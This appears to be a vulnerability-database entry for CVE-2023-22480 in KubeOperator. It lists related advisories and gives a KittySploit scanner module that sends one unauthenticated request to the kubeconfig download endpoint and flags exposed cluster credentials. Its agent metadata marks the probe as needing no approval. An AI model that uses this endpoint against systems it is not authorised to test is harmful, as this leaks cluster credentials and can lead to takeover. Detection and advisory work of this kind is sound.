KubeOperator Foreground `kubeconfig` - File Download Detection
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| KubeOperator 授权问题漏洞 | 14 Jan 202300:00 | – | cnnvd | |
| CVE-2023-22480 | 14 Jan 202300:03 | – | cve | |
| CVE-2023-22480 KubeOperator is vulnerable to unauthorized access to system API | 14 Jan 202300:03 | – | cvelist | |
| KubeOperator allows unauthorized access to system API | 9 Jan 202321:57 | – | github | |
| Duplicate of ./go/github.com/KubeOperator/KubeOperator/CVE-2023-22480.yml | 9 Jan 202300:00 | – | gitlab | |
| Incorrect Authorization | 14 Jan 202300:00 | – | gitlab | |
| CVE-2023-22480 | 14 Jan 202300:03 | – | mend | |
| KubeOperator Foreground `kubeconfig` - File Download | 14 Oct 202602:05 | – | nuclei | |
| CVE-2023-22480 | 14 Jan 202301:15 | – | nvd | |
| GHSA-JXGP-JGH3-8JC8 KubeOperator allows unauthorized access to system API | 9 Jan 202321:57 | – | osv |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'KubeOperator Foreground `kubeconfig` - File Download Detection',
'description': 'KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'kubeoperator', 'k8s', 'kubeconfig', 'exposure', 'fit2cloud', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8',
'https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1',
'https://nvd.nist.gov/vuln/detail/CVE-2023-22480',
'https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf',
'https://github.com/KubeOperator/KubeOperator/releases/tag/v3.16.4',
],
'cve': 'CVE-2023-22480',
}
def run(self):
r = self.http_request(method="GET", path='/api/v1/clusters/kubeconfig/k8s', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('apiVersion:', 'clusters:',)
header_any = ('application/download',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='critical',
reason="KubeOperator Foreground `kubeconfig` - File Download detected",
path='/api/v1/clusters/kubeconfig/k8s',
)
return True
return False
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28 Jul 2026 11:27Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.3 - 9.8
EPSS0.66768
SSVC